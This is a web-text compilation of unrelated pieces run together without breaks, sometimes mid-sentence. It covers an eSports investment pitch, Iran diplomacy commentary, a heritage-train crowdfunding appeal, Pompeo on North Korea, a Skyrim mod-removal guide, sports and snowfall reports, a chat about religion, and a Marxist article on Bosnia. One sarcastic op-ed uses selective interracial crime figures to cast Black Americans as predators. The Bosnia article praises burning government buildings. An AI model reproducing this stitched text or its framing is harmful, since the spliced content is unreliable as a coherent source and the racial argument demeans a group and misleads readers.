One of the biggest industries you may not yet have heard of, eSports is a lucrative market. Video gaming has morphed from being a solitary pursuit of teenagers in their bedrooms to the focus of roaring crowds at sold-out arenas.
This week gaming giant Electronic Arts launched its own eSports division focused one establishing eSports competitions for its games.
There are more than 700 eSports events annually. Leading games market research company NewZoo projects that the global audience to grow from 260m to 335m by 2017. Major tournaments have been largely live streamed, but coverage is now going mainstream. The BBC broadcast the League of Legends (LoL) World Championship quarter-finals from Wembley and Time Warner has announced plans to broadcast eSports on Prime Time TV in 2016. Tickets for these tournaments sell out in minutes and prize money is now dwarfing that of major ‘traditional’ sports, such as golf and Formula 1.
Read more: Pro video gaming in the UK attracts almost 60m views
Brands and marketers have also taken note: Coca-Cola has started sponsoring LoL live coverage, companies such as SK Telecom and Nissan are major team sponsors and Red Bull has built a high-performance eSports lab and training facility for top players.
There is clearly opportunity here, but investors are still cautious about piling in. Many have an outdated understanding of the industry and little awareness of the fact that it is now a booming sector that is five times the size of the global record music industry (and is still growing). There is a consensus among potential investors that only a few million people are playing games globally, but when you consider that the number of active users of smart technology – where most now play their games – has reached in excess of 2.5bn, the addressable market is a remarkable five times bigger now than it was in the previous ‘gaming cycle’ (2005-2014).
Others feel it is a missed opportunity, with the likes of Electronic Arts and Activision Blizzard stocks up 50 per cent year-to-date (incidentally, Activision Blizzard’s stock remains at all-time highs, despite becoming 30 per cent cheaper when the acquisition of King Digital, the maker of “Candy Crush Saga”, was announced).
Read more: Can professional video gaming take off in the UK?
My view is that investor concerns about entering the sector are misplaced. When you consider that gamers now spend 22 hours a week playing games (up from 6 hours on average in 2013) which is fast approaching the average 28 hours a week people spend watching TV. This is nearly twice the amount of time that users spend on Facebook, a $300bn company. The entire market cap of the online gaming and eSports industry is currently around $100bn – herein lies the opportunity.
Companies in the sector are posting impressive growth. Netease, a $20bn China-based internet technology company listed in the US, is currently growing at 100 per cent per annum. It is up 50 per cent year to date and, thanks to online games sales which are up 124 per cent year-on-year, we expect it to go a lot higher after posting revenue numbers 25 per cent ahead of consensus (yes, revenues!)
The size and scope of the online gaming and eSports world remains underappreciated and provides a compelling investment opportunity. eGaming is no longer just the preserve of those with a PS4 or an Xbox and companies in the sector are poised to become media powerhouses: If there ever was a time to play the eSports market, it’s now.Max Fisher discusses how Netanyahu might try to kill a deal with Iran:
This is where Netanyahu could play a major role, and potentially scuttle any nuclear deal with Iran, should one emerge from Geneva. Sanctions relief will be controversial in Congress, and Republican lawmakers will try to draw as much attention to the issue as possible so as to rally public opposition.
The flaw in the plan is that the public is probably not going to respond to a deal with Iran in the way that Iran hawks and Netanyahu want. Americans overwhelmingly support negotiations with Iran, so it is doubtful that there will be broad public opposition to a deal that comes out of those negotiations. There will be predictable hostile reactions from Iran hawks in and outside of Congress, but as it becomes clear to more people that their preferred alternative increases the risks of war and a nuclear-armed Iran they are not going to be able to win much support.
Netanyahu probably could cause the administration headaches in Congress, but in addition to souring relations with the U.S. this could very well backfire on him and the Iran hawks by getting on the wrong side of public opinion. Consider the public’s reaction to the chemical weapons deal in Syria. Even though most respondents assumed that it wouldn’t succeed, a huge majority supported it anyway. It seems reasonable to assume that there would be a similar reaction to a nuclear deal with Iran. Considering how unfavorably most Americans view the GOP right now, Republican hawks that attack any deal might end up making it more popular. If there is a deal and Netanyahu makes a concerted effort to derail it, he is more likely to make himself and his cause appear ridiculous in the eyes of Americans.The price of a pint is about £3.50 - could you buy a pint for the VEP?
No. 423 417 is a unique piece of railway heritage.
It was preserved by the Bluebell Railway in 2009 as the last example of a 4VEP - moving millions of commuters each year, trains like these were woven into the fabric of the working day in the South of England for half a century.
Like the 'Flying Scotsman', No. 3417 is the last of its class.
The Southern Electric Traction Group are a small group of railway staff from across the South of England who are working with the Bluebell Railway to restore No. 3417 to running condition. Our intention isn't just to return the unit to heritage railways, but eventually to return the unit to where it belongs; the main lines of the Southern Region.
We want to see the sparks fly at 90mph again. We want to hear English Electric 507 traction motors howl again. We want to make the roof of London Waterloo station echo to the sound of slamming doors again.
This Crowdfunding effort has a simple goal; to return No. 3417 to the mainline. We want to allow passengers to savour again the unique experience of a classic electric train at speed. We want generations to come to see where rail travel has come from. We want to preserve a small part of a very important facet of the history of railways in the U.K.; moving the commuting public. Your support will allow us to do that.
Do you want to see the 4VEP run again? This is your chance to help make that ambition a reality.
Follow us on Twitter @Gordon3417
For the latest updates on our work check our website: www.setg.org/newsCIA Director Mike Pompeo Michael (Mike) Richard PompeoVenezuela's Maduro says he fears 'bad' people around Trump Five things to watch as Michael Cohen testifies The Hill's Morning Report - Dems appear to have votes to counter Trump on emergency MORE said on Thursday he is confident the intelligence community will develop strategies to "separate" the government of North Korean leader Kim Jong Un from the country's rapidly advancing weapons programs.
"It would be a great thing to denuclearize the peninsula, to get those weapons off of that, but the thing that is most dangerous about it is the character who holds the control over them today," Pompeo told The New York Times's Bret Stephens at the Aspen Security Forum in Colorado.
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"So from the administration's perspective, the most important thing we can do is separate those two. Right? Separate capacity and someone who might well have intent and break those two apart."
Pompeo's remarks were among the Trump administration's most direct comments yet about the North Korean leader.
While he did not explicitly raise the possibility of change in Pyongyang, the CIA director said he believes the North Korean people "would love to see" Kim removed from power, and that he remained hopeful the U.S. would figure out a way.
"I'm hopeful that we will find a way to separate that regime from this system," Pompeo said. "The North Korean people, I'm sure, are lovely people and would love to see him go."
Secretary of State Rex Tillerson Rex Wayne TillersonHeather Nauert withdraws her name from consideration for UN ambassador job Trump administration’s top European diplomat to resign in February Pompeo planning to meet with Pat Roberts amid 2020 Senate speculation MORE said at a United Nations Security Council meeting in April that the U.S. does not intend to pursue leadership change in North Korea.
"Our goal is not regime change, nor do we desire to threaten the North Korean people or destabilize the Asia Pacific region," Tillerson said.
Tensions have heightened between the U.S. and North Korea in recent months as Pyongyang accelerates the pace of its ballistic missile tests. The government successfully tested for the first time earlier this month an intercontinental ballistic missile, believed to be capable of striking parts of the U.S.Perhaps it's time to finally concede that Al Sharpton, Jesse Jackson, and their fellow civil-rights crusaders have apparently been correct all along: There is indeed a whole lot of racism in America that just won't go away. It may be time to admit that Sharpton is justified in so passionately condemning the recent police “execution” of Michael Brown in Missouri—calling it a “defining moment” for our country, a moment where the nation itself, with all its weighty, racist baggage, “is on trial.”
The numbers, after all, don't lie. During the most recent five-year period for which single-offender, interracial crime statistics are available, whites committed, on average, 65,923 assaults annually against black victims.[1] To frame it another way, 33.5 of every 100,000 whites in the U.S. assaulted a black victim at some point during each of those five years.
Oh, sure, the nitpickers will point out that during the same five-year period, blacks in the U.S. committed, on average, some 327,900 assaults annually against whites—meaning that about 898 of every 100,000 blacks nationwide assaulted a white victim at some point each year. In other words, statistically the average black was nearly 27 times more likely to assault a white, than vice versa—898 versus 33.5 (out of every 100,000).
But therein is the heart of the problem, though you may have missed it: The white-on-black assault rate may be low, but it isn't absolute zero. And as our modern-day civil rights leaders dutifully teach us, anything more than zero means, ultimately, that "we still have a long way to go" before we can finally get past our country's "troubled racial past." Any white-on-black incident—however rare it may be—automatically becomes the exception that proves the rule. Get it?
We find similar bountiful evidence of white racism in other statistics as well. During the same five-year period, whites committed, on average, 2,738 robberies annually against black victims. In other words, about 1.4 out of every 100,000 whites in the U.S. robbed a black victim each year.
Meanwhile, 70,302 blacks annually robbed white victims—a rate of 192.4 per 100,000. Statistically the average black was 137 times more likely to rob interracially than the average white—192.4 versus 1.4 (out of every 100,000).[2]
Once again, we must bear in mind that any white-on-black crime total exceeding zero means that the hearts of too many whites still percolate with secret, racist longings to return to "the good-ol' days" of lynchings and Jim Crow. Make sense?
But if you really want your blood to boil, consider the stats on interracial sex crimes. During the same five-year period, black offenders were responsible for about 22,980 actual and threatened sexual assaults annually against white victims. By contrast, the number of white-on-black incidents of the same description were so infinitesimal that, in each of those five years, whites were estimated to have accounted for 0.0% of all sexual assaults—actual or threatened—against black victims in the United States.
Such a statistic, of course, runs the dangerous risk of persuading shallow thinkers to wrongly conclude that maybe America's streets and alleyways aren't filled with hordes of white racists poised to abuse black women whenever they get an opportunity. But thankfully, we have deep thinkers and keen-eyed social critics like Al Sharpton to shine the light of truth on white sex offenders, even where a white-dominated criminal-justice apparatus turns a blind eye.
Remember, for instance, how Sharpton helped us all become aware of Tawana Brawley's brutal gang-rape at the hands of white supremacists in 1987? Oh sure, the nitpickers again will moan that the whole thing was one big lie. But don't ever forget: The only thing that prevented young Tawana from actually being raped by a pack of Klansmen was the fact that … well, no one raped her or even attempted to. But apart from that, everything Sharpton said about the case was true.
We must also thank Mr. Sharpton for having alerted us all to the horrors of the “rich white boys” on the Duke University lacrosse team who gang-raped a black stripper in 2006. Sure, it turned out to be another hoax that dragged several innocent young men through a cesspool of pain and public humiliation—but hey, the noble quest for racial justice is bound to spit out a few collateral victims every now and then. No omelet can be made without breaking an egg or two.
Murder stats likewise bring into stark relief the white racism that continues to infest our nation. In 2012, for example, 6,454 blacks in the U.S. were victims of homicide. Some 91% of those were killed by other blacks, and 9% were killed by everybody else, including whites. It's unlikely that whites were responsible for any more than about 3% of all black deaths by homicide. But these were the most significant and troubling 3%, don't ya know? The other 97% of victims can all rot in their graves, but these—ah, these—were the cream of the crop, just like Michael Brown.
In light of the numbers cited above, perhaps you can find it in your heart to be sympathetic to Al, Jesse, and similar proverbial skunks who are forever seeking out the next picnic where they can show up and spray the potato salad. They have to make the most of Ferguson, you see, because golden opportunities like that just don't come around very often.
FOOTNOTES:
[1] All statistics are from Criminal Victimization in the United States, published annually by the Department of Justice Statistics.
[2] These assault and robbery statistics do not necessarily prove that black offenders are specifically targeting white victims. One reason why the multiples are so high (27:1 and 137:1) is because there are 5.4 times as many whites as blacks in the U.S. In other words, blacks, in course of their daily travels, are 5.4 times more likely to encounter whites—and thus, potential white vicims—than to encounter other blacks (and potential black victims). To correct for this difference in the respective sizes of America's white and black populations, we must divide each of the multiples by 5.4. In the case of assaults, the 27:1 ratio becomes 5:1, meaning that the average black offender is 5 times more likely to choose a white victim, than a white offender is likely to choose a black victim. And in the case of robbery, the 137:1 ratio becomes 25.4:1, meaning that the average black offender is 25.4 times more likely to choose a white victim, than a white offender is likely to choose a black victim.
Freedom Center pamphlets now |
fulHeretic Oh, nothing specific. I just wanted to clarify that. The list includes things that I know you are passionate about on the other side. Gay marriage, abortion, religion in government, evolution. 10:19pm TBM friend So, by hurting people, you mean something along the lines of infringing on their human rights? By your definition, not mine, of course. 10:20pm BlissfulHeretic Yeah, I'd definitely include that. As well as more obvious things that we probably agree on, like female genital mutilation and child marriage. 10:21pm TBM friend Haha, yes we definitely agree on those. Are there others beyond human rights issues? 10:21pm BlissfulHeretic Intellectual repression. It's particularly a problem in the Bible Belt of the US. For example, are you familiar with the Large Hadron Collider? 10:22pm TBM friend I am not. I assume it has something to do with subatomic particles? 10:23pm BlissfulHeretic Well, there's a major scientific theory in particle physics called string theory. (I don't pretend to understand it very well--[fiancé] is a major science geek, which is how I know as much as I do.) One way that scientists are working on testing the theory is trying to find a certain type of particle. 10:23pm BlissfulHeretic The official name is the Higgs-Boson particle, but it got nicknamed the God Particle. 10:23pm TBM friend Right right. Okay thought oh were going this way. Continue. 10:24pm BlissfulHeretic That happened because one of the scientists who came up with the theory called it the "goddamn particle." His publisher wouldn't allow that, so it got shortened to "god particle." Yeah 10:24pm TBM friend Okay 10:24pm BlissfulHeretic Anyway, Texas would be a perfect place to build a huge hadron collider. Lots of land. Plans went ahead for it, but a lot of religious people in the area got their panties in a bunch because they thought it had something to do with disproving God. 10:25pm TBM friend Oh that is completely silly. 10:25pm BlissfulHeretic Long story short, they had to build it in Europe. There's not as much land there so they had to build it far smaller. I heard about that and was like "nooooo!!! That would have been so cool!" There's also another, more personal example. 10:28pm TBM friend Yeah it would have. I can't blame them though. I see that more as sticking it to the "man" than really trying to undercut science. Many Christians feel threatened by the government, not just science. It may have been more of spite than an actual belief that the collider was trying to disprove God. But I ultimately agree. That's retarded. 10:28pm BlissfulHeretic People who leave religion--like me--are often socially ostracized when they do. I've been lucky, but I've known people who have been kicked out of their homes for it as teenagers. It's hard. It's hard because I can't really blame my friends and family who are religious, believing as they do. I understand their beliefs, having held them once, and would probably respond similarly in their place. So I'm forced to blame the religion. 10:31pm TBM friend Yes. That is true. And I disagree with that practice. I feel like it is unbecoming of any religious person to treat another person that way. Beyond unbecoming - it's wrong. I would blame human fallibility in this case, but I can see why you say you blame the religion. 10:31pm BlissfulHeretic Yeah 10:33pm TBM friend I don't think that a religion does much good if it isn't lived, especially when it is difficult to live it. However, I think religion should also comprehend human fallibility, and be compassionate towards it with being condoning. 10:34pm BlissfulHeretic So, did I address your concerns thoroughly? 10:35pm TBM friend Yes, except for one thing. You enjoy argument even when it gets vicious. I don't really enjoy argument the same way you do. So, if we were to hang out, what the heck would we do to avoid upsetting each other. Or, I guess just me, since you don't seem upset by this, lol. 10:36pm BlissfulHeretic hahaha Just be polite, like we were this evening? 10:36pm TBM friend I guess? 10:37pm BlissfulHeretic The great thing about friendship is that it's not a relationship fraught with theological concerns. Awhile back I dated a guy who was Mormon, and we broke up because of our theological differences. It was hard at the time, but in retrospect it was the best thing for both of us. He's now married to a (I presume) nice Mormon girl, and I'm engaged to a wonderful atheist guy. But friendship doesn't have that same dynamic. We can be friends and hold different beliefs. 10:39pm TBM friend I just feel like we have largely covered each other's views, and neither one of us is very likely to change them, so it seems that in a friendship that has formerly been based on debate and discussion, there is nothing much to discuss. It seems moot now that there is sufficient understanding. 10:39pm BlissfulHeretic There's more in the world to discuss besides religion. And politics. 10:40pm TBM friend I never said we wouldn't be friends. I have many friends with different beliefs. Lol, that is true, but they are sort if what big picture thinkers like you and I always come back to, aren't they? 10:41pm BlissfulHeretic Then we agree to disagree. But really, I think we agree on more than both of us usually will admit. 10:42pm TBM friend Hm. Well, I'm willing to give it a go. What's life if you don't try to do things that seem hard to you? 10:43pm BlissfulHeretic haha, indeed. :) 10:43pm TBM friend Thanks for the talk, it was fun :) 10:43pm BlissfulHeretic np :) I promise I'm not a soulless nihilist ;) 10:44pm TBM friend I've got early class, so I should go. Lol, and that does hold some comfort. :) Night BlissfulHeretic. 10:45pm BlissfulHeretic Night. :)Series of documentary travelogues in which Tim Mackintosh Smith follows in the footsteps of 14th Century Moroccan scholar Ibn Battutah, who covered 75,000 miles, 40 countries and three continents in a 30-year odyssey. Beginning in north Africa, Tim visits Battutah's birthplace of Tangier in Morocco, and stumbles on a performance of medieval trance music. In Egypt, he goes to a remote village where Battutah had an astonishing prophetic dream and visits the world's oldest university in Cairo.
In Turkey, Tim watches an illegal whirling dervish ceremony, and in the Taurus mountains he meets the last of the Turkoman nomads. He chats to Tatars in Crimea, while in Delhi he watches a Muslim magician performing the Indian rope trick.
He explores the place of Islam in Hindu-dominated India and communist China, and tells the story of the Islamic trade empire of the 14th century. In China, he meets a clan who trace their ancestry back to Arabs, and witnesses an illegal Arabic lesson. Episodes: Wanderlust, Magicians and Mystic, and Trade Winds.From STEP Modding Wiki
Guide to removing all 3rd-party mods and other files from your Skyrim installation -- by torminater, wikified by Farlo
The best way of course is to use your zip file that you made of the Skyrim Directory as you followed the Skyrim Installation Guide, just delete the whole directory and unpack the zip. This is the only method to restore a previous version of Skyrim. If you don't have a vanilla zip, its relatively simple but takes a minute depending on your internet speed, first click enable in Skyrim Unplugged if you are using it. For a quicker although rougher guide, see Reverting Skyrim to a Pristine (Vanilla) Installation Deactivate all mods using your choice of mod manager and/or the Skyrim launcher Navigate to...Steam/steamapps/common/Skyrim. Delete all folders except: Data DirectX10 DotNetFX reslists Skyrim VCRedist
Delete all loose files except: atimgpud.dll binkw32.dll steam_api.dll SkyrimLauncher.exe TESV.exe high.ini medium.ini low.ini Skyrim_default.ini VeryHigh.ini readme.txt installscript.vdf Inside Skyrim/Data: Delete all folders except Interface, Strings, and Video.
,, and. Delete all loose files except: HighResTexturePack01.bsa HighResTexturePack02.bsa Skyrim - Animations.bsa Skyrim - Interface.bsa Skyrim - Meshes.bsa Skyrim - Misc.bsa Skyrim - Shaders.bsa Skyrim - Sounds.bsa Skyrim - Textures.bsa Skyrim - Voices.bsa Skyrim - VoicesExtra.bsa Update.bsa Skyrim.esm Update.esm HighResTexturePack01.esp HighResTexturePack02.esp (If you're missing any files, don't worry, they'll be recovered by step 10) Inside Data/Interface delete everything except: "TRANSLATE_<insertyourlanguage>.txt" Inside Data/Strings delete everything except: Skyrim_<insertyourlanguage>.DLSTRINGS Update_<insertyourlanguage>.DLSTRINGS Skyrim_<insertyourlanguage>.ILSTRINGS Update_<insertyourlanguage>.ILSTRINGS Skyrim_<insertyourlanguage>.STRINGS Update_<insertyourlanguage>.STRINGS Inside Data/Video delete everything except: "BGS_Logo.bik" The remaining folders in the root Skyrim directory should contain the following number of files (including hidden ones): DirectX10: 146 files DotNetFX: 1 file reslists: 2 files Skyrim: 1 file VCRedist: 1 file In Steam, navigate to the Workshop and unsubscribe from every mod. Navigate to My Documents/My Games/Skyrim and delete all files and subdirectories (after making backups of course). In Steam, click "Verify integrity of game cache..." under the Local Files tab in Skyrim's Properties window. This will do a CRC check on every file in the Skyrim directory and download any files that are corrupted or missing. This process may take some time depending on internet speed. Launch Skyrim from Steam, thereby creating new INI files. Set your preferred settings in the game launcher. Make a full archive/backup of your newly-pristine Skyrim directory so this guide isn't needed in the future. If there are any saves you wish to revert to a vanilla status see the Clean Save Procedure in the Troubleshooting guide.
Optional: this procedure ensures that you have a stable Vanilla installation.The White Sox have claimed left-hander Eric Surkamp off waivers from the Giants, according to Hank Schulman of the San Francisco Chronicle (on Twitter). Surkamp was designated for assignment by the Giants last week.
Surkamp split the season between Double-A and Triple-A as he recovered from 2012 Tommy John surgery, spending the bulk of his time in Triple-A Fresno. His work in the minor league was excellent, as he pitched to a 2.80 ERA with 7.4 K/9 and 2.4 BB/9 in 86 1/3 innings.
In his minor league career, Surkamp has a 2.84 ERA with 10.0 K/9 and 2.5 BB/9 in 484 2/3 innings. The former sixth-round pick made his big league debut for the Giants in 2011 and ranked among Baseball America's Top 30 Giants prospects from 2010-13.
Surkamp will provide the White Sox with more pitching depth that is essentially big-league ready. Chicago currently has Chris Sale, Jose Quintana and John Danks as locks for the rotation, with right-handers Erik Johnson, Andre Rienzo and the recently signed Felipe Paulino all as options for the back of the rotation. Surkamp figures to compete with those three for the fourth and fifth slots in the rotation following Hector Santiago's trade to the Angels.ORG XMIT: S0323108008_WIRE Reid Ryan is shown at the new home stadium of the Round Rock Express minor league baseball club Thursday, March 30, 2000, in Round Rock, Texas. The Houston Astros' AA affiliate was purchased by Hall of Fame pitcher Nolan Ryan, his son Reid and Houston businessman Don Sanders. It was moved to the community north of Austin from Jackson, Miss.
ARLINGTON — And here, all along, you were thinking the Rangers’ chief competition in the AL West was Oakland or Los Angeles.
Instead, it’s all about the Astros.
Sure, the Astros are already 16 games out, on pace for 115 losses and essentially eliminated — if not technically — from the playoff race. But then the race in question is not about 2013, but rather long-term success and credibility.
In Texas, it’s all about the Ryans and how many you can pile up. The Astros are finally figuring that out. On Thursday, it became clear that the club will name Reid Ryan, son of Nolan, club president, perhaps on Friday. Let the speculation begin about when Nolan Ryan joins him — and the ripple effect this might have on the Rangers’ organization.
For the Astros, the move is all about survival. After alienating fans and employees alike, the Astros have nothing to lose, anyway. Reid Ryan is energetic, personable and creative and has helped turn the Ryan-Sanders minor league operation into an unmitigated success.
At one point, he was even a consideration to be his father’s successor in Arlington. That, however, was back in the day when Nolan Ryan held the dual titles of CEO and president and could afford to shed one, if he saw fit for the line of succession.
Instead, Rangers ownership made the decision about the line of succession in March, taking away Ryan’s presidency and splitting it between Jon Daniels and Rick George. Ever since, the relationship between Ryan and ownership has been tenuous.
The Astros’ move only makes it more enticing for Ryan to listen if Jim Crane or Reid Ryan comes calling. The Ryans have long wanted to run an MLB franchise together. Now, instead of Reid joining Nolan, it might be the other way around. It would certainly make it easier for Ryan to juggle personal and outside commitments with the baseball job.
Whatever the case, it only seems to increase the possibility that 2013 will be Ryan’s last season with the Rangers. There was some thought within the Rangers’ offices after he reaffirmed his commitment to the club in early April that said commitment was only good through the rest of the season. Now, folks may be resigned to that scenario.
Ryan has said only that he is “not interested” in a position with the Astros “at this time.”
The end of the season, of course, is a wholly different time.
And what impact might that have on the Rangers?
When Ryan contemplated leaving back in March, the consensus from ownership — and a large number of fans — was panic about a loss of credibility. The Rangers own the best record in the majors and three consecutive playoff appearances; the Astros own the worst record and consecutive 100-loss seasons. To leave the former for the latter might seem a little nuts, but it also would bring more questions about the inner workings of the Rangers’ hierarchy.
On a more practical note, it might disrupt continuity in an organization that prides itself on that. From marketing to facility management to several baseball operations hires, Ryan has brought in a number of “his people,” who might just follow if the First Family takes its leave.
Also, there is the question of what happens to the Triple-A Round Rock franchise and all the marketing opportunities that go along with it. Round Rock has given the Rangers valuable entrée into the Austin and San Antonio markets for both TV and tickets. The good news for the Rangers is that they are signed with Round Rock through 2018, so they’d have plenty of time to make their imprint in Central Texas indelible.
Not to mention that, given free rein, the Ryans might just build the Astros into a formidable organization on the field and off.
What became clear Thursday is this: While the Rangers have built their AL West lead to seven games, they most certainly have a battle inside the division. It comes from Houston.
Catch Evan Grant’s Ranger Reports all season on The Ticket (KTCK-1310 AM) on Tuesdays at 9:35 a.m. with The Musers, Wednesdays at 4:15 p.m. with The Hardline and Thursdays at 2:15 p.m. with BaDD Radio.
Follow Evan Grant on Twitter at @Evan_P_Grant.Local News, Nature & Weather, Seasonal & Current Events
By Cait Russell Published: January 22 2014
Now that the snow has stopped falling, towns across LI are tallying up their accumulation!
With the predicted accumulation totals snowballing all week long, it should be no surprise to Long Islanders that yesterday's storm has transformed the Northeast into a winter wonderland. With some local towns receiving over a foot of snow and the South Shore getting hit particularly hard this time around, hundreds schools across Long Island closed for the day, and many students woke up to a bon-a-fide snow day. Nearby in Manhattan's Central Park, 11.5 inches of snowfall was recorded, in Queens totals of over or around a foot, and in Brooklyn, they received totals of around 10 and 1/2 inches of snow or less. Due to last night's high winds, there are also large drifts, so some areas may appear to have higher snowfall than the recorded totals.
Here are the reported snow totals for Long Island:
Nassau County
Albertson - 9 inches
Baldwin - 8.5 inches
Bayville - 9 inches
Bellmore - 6 inches
Carle Place - 10 inches
East Meadow - 11 inches
Jericho - 9.5 inches
Levittown - 7.5 inches
Lido Beach - 10.5 inches
Malverne - 10.1 inches
Massapequa - 12.1 inches
Massapequa Park - 11.5 inches
Merrick - 11.1 inches
New Hyde Park - 6.9 inches
North Massapequa - 10.7 inches
North Merrick - 8 inches
Oceanside - 13 inches
Plainview - 10.7 inches
Port Washington - 11.5 inches
South Merrick - 10 inches
Uniondale - 8.2 inches
Wantagh - 9.2 inches
Suffolk County
Amityville - 7 inches
Bay Shore - 11 inches
Blue Point - 14 inches
Centereach - 14 inches
Centerport - 9.5 inches
Commack - 12 inches
Copiague - 12 inches
Deer Park - 11 inches
East Northport - 11.5 inches as reported by NWS, 12-13 inches as reported by a local reader.
Eastport - 9.5 inches
Flanders - 10 inches
Farmingville - 7.5 inches
Hampton Bays - 10 inches
Hauppauge - 13 inches
Huntington - 9.5 inches
Islip Airport - 11.2 inches
Jamesport - 13 inches
Kings Park - 11 inches (reported by a reader)
Lindenhurtst - 13.3 inches
Mattituck - 10.3 inches
Medford - 11.7 inches
North Babylon - 14.5 inches
Orient - 12.2 inches
Patchogue - 11.8 inches
Port Jefferson - 10.5 inches
Riverhead - 9.6 inches
Ronkonkoma - 9 inches
Saint James - 11 inches
Sayville - 10.2 inches
Selden - 14.5 inches
Shorham - 10.3 inches
Smithtown - 8 inches
South Setauket - 12 inches
Stony Brook - 12.7 inches
Upton - 10 inches
West Babylon - 13.5 inches
West Islip - 9 inches
Yaphank - 8.7 inches
Measurements were taken between 8:20 PM last night and 7:00 AM this morning. As more towns report in with updated totals, we'll be adding them to the list, so be sure to check back!
How much snow did your neighborhood get? Let us know! Email us to share, or post in the comments below!The current protest movement in Bosnia represents a new and higher stage in the molecular process of the European revolution. The heroic revolutionary movement of the Bosnian workers and youth is a shining example for future movements in Europe and all over the world.
The state of Bosnia and Herzegovina has been a highly unstable hybrid formation ever since it was created. From 1992 to 1995, the population of the country had to endure a horrible war that cemented the breakup of Yugoslavia. The war, provoked by German imperialism, was a barbaric conflict between Croatian, Serbian and Bosnian nationalists and chauvinists.
NATO then imposed the infamous Dayton Agreement, which divided the Bosnia into two so-called “entities” (“Federation of Bosnia and Herzegovina” and “Republika Srpska”, not to be confused with the neighbouring country of Serbia), based on the territories held by the two sides in the war, and the Brčko District, which officially belongs to both entities, but is governed by neither. The entities are further divided into cantons, every one of which has a full-fledged government.
he-who-sows-hunger-reaps-anger-on-sarajevo-govt-buildingAs a result, the country has an incredibly bloated, bureaucratic, criminal-infested and inefficient government apparatus, whose main task is to create favourable conditions for foreign businesses to invest and profit. In order to ensure that the government fulfils this task, it is overseen by the European Union ‘High Representative’ (currently Valentin Inzko). He has almost dictatorial powers, such as the right to enforce binding government decisions on any matter, or to remove public officials at his personal whim.
In a word, for the past 19 years, Bosnia has been like a colony of the EU. Under its control, the formerly state-owned industries have been privatized. Workers' control (which nominally existed in Yugoslavia) has been all but abolished, and the country has been turned into a playground for Western imperialism. Just to give one example, 85% of the country's financial sector is controlled by Austrian banks, and only 3% by Bosnian ones. Meanwhile, the standard of living is still significantly lower than it was when Tito's rule ended in the 1980s, the country's industrial base has been almost completely obliterated and unemployment has reached a spectacular 44.6%. IMF loans are now a vital source of income for the country.
The destruction of the country's industry is the result of the mass privatizations that were enacted after the war. This in turn has led to massive layoffs and wage losses for the benefit of the mafia-government. But just when the imperialists and compradors thought they could continue their looting spree forever, something unexpected happened.
In privatizing the state-owned enterprises Dita, Polichem, Poliolchem, Gumara and Konjuh, most of which had several hundreds of employees, in the industrial city of Tuzla, the compradors thought they could get away with their usual scheme: Privatise the company, sell off the machinery and file for bankruptcy. On 4 February though, 600 protesters took to the streets in Tuzla, calling for the resignation of the local government, a reversal of the privatizations and for their healthcare and pensions to be paid. The next day, 6000 people gathered in front of the cantonal government building, and on 6 February, the protests had spread to Sarajevo, Mostar, Bihać and Tesanj, among other cities. On 7 February, 10.000 people stormed the government building in Tuzla and completely setting them alight and smashing up furniture. Similar scenes occurred all over the country. In Brčko, the mayor was even taken hostage by the crowd for a short while. By this time, the governments of the Cantons of Tuzla, Sarajevo, Una-Sana and Zenica-Doboj had resigned, and the High Representative had threatened the people of Bosnia with military intervention by the EU.
Two things have been remarkable about this movement. First of all is its clear class character. This is clearly expressed in the demands of the protesters. For example, this is clearly outlined, in 7 February Declaration by the Workers and Citizens of the Tuzla Canton:
Today in Tuzla a new future is being created! The [local] government has submitted its resignation, which means that the first demand of the protestors has been met and that the conditions for solving existing problems have been attained. Accumulated anger and rage are the causes of aggressive behaviour. The attitude of the authorities has created the conditions for anger and rage to escalate. Now, in this new situation, we wish to direct the anger and rage into the building of a productive and useful system of government. We call on all citizens to support the realization of the following goals: (1) Maintaining public order and peace in cooperation with citizens, the police and civil protection, in order to avoid any criminalization, politicization, and any manipulation of the protests. (2) The establishment of a technical government composed of expert, non-political, uncompromised members. [They should be people] who have held no position at any level of government and would lead the Canton of Tuzla until the 2014 elections. This government should be required to submit weekly plans and reports about its work and to fulfill its proclaimed goals. The work of the government will be followed by all interested citizens. (3) Resolving, through an expedited procedure, all questions relating to the privatization of the following firms: Dita, Polihem, Poliolhem, Gumara, and Konjuh. The [government] should: Recognize the seniority and secure health insurance of the workers. Process instances of economic crimes and all those involved in it. Confiscate illegally obtained property. Annul the privatization agreements [for these firms]. Prepare a revision of the privatization. Return the factories to the workers and put everything under the control of the public government in order to protect the public interest, and to start production in those factories where it is possible. (4) Equalizing the pay of government representatives with the pay of workers in the public and private sector. (5) Eliminating additional payments to government representatives, in addition to their income, as a result of their participation in commissions, committees and other bodies, as well as other irrational and unjustified forms of compensation beyond those that all employees have a right to. (6) Eliminating salaries for ministers and eventually other state employees following the termination of their mandates. This declaration is put forward by the workers and citizens of the Tuzla Canton, for the good of all of us.
This is a document of clear proletarian nature. These are the demands of workers, youth and the elderly, who have understood that there is no future for them under the present existing conditions. They have understood that privatizations and the “free market” cannot help them or improve their lot. They are facing the government with a clear alternative: Either improve their living conditions dramatically, (which this government is inherently incapable of doing) or be swept away by the masses (which, consequently, is the only option).
Grafitti: "Stop nationalism, stop divisions of the citizens of Bosnia"In this movement, there is no space for nationalism and chauvinism – the great evils that have plagued the peoples of Yugoslavia with unimaginable horrors for the last 30 years. The fighting workers and youth of Bosnia have become fully aware of the fact that nationalism and chauvinism are nothing but the divisive tactics of the bourgeoisie, designed to make them fight each other instead of their oppressors. The masses today are not fighting in the name of nationalism or religion, but for the fulfilment of very material needs, which is impossible to achieve under capitalism.
The second remarkable feature of the movement is the methods of the protesters. The process has been unfolding at a breathtakingly fast pace in Bosnia. The workers of Tuzla needed only three days to start dismantling their government. Of course the young state apparatus was much weaker than the old consolidated oppressive machineries of Western Europe. But the main factor was the courage and determination of the masses who were simply completely unwilling to be treated like animals any longer. The movement developed very fast as it resolutely pressed forward, acquiring an insurrectionary character, taking over and burning down government buildings. This was the key to its quick initial successes.
Furthermore, the movement in Tuzla went even further by setting up a Plenum in order to “take matters into our own hands”, and replace the local government that they deposed. Being confronted with a clear example of the decrepitude and degeneracy of capitalism, the workers and youth of Bosnia are beginning to realize that they have to smash the capitalist state, which is responsible for their problems and replace it with something better – a government that is directly controlled by the working people. This is a very important development.
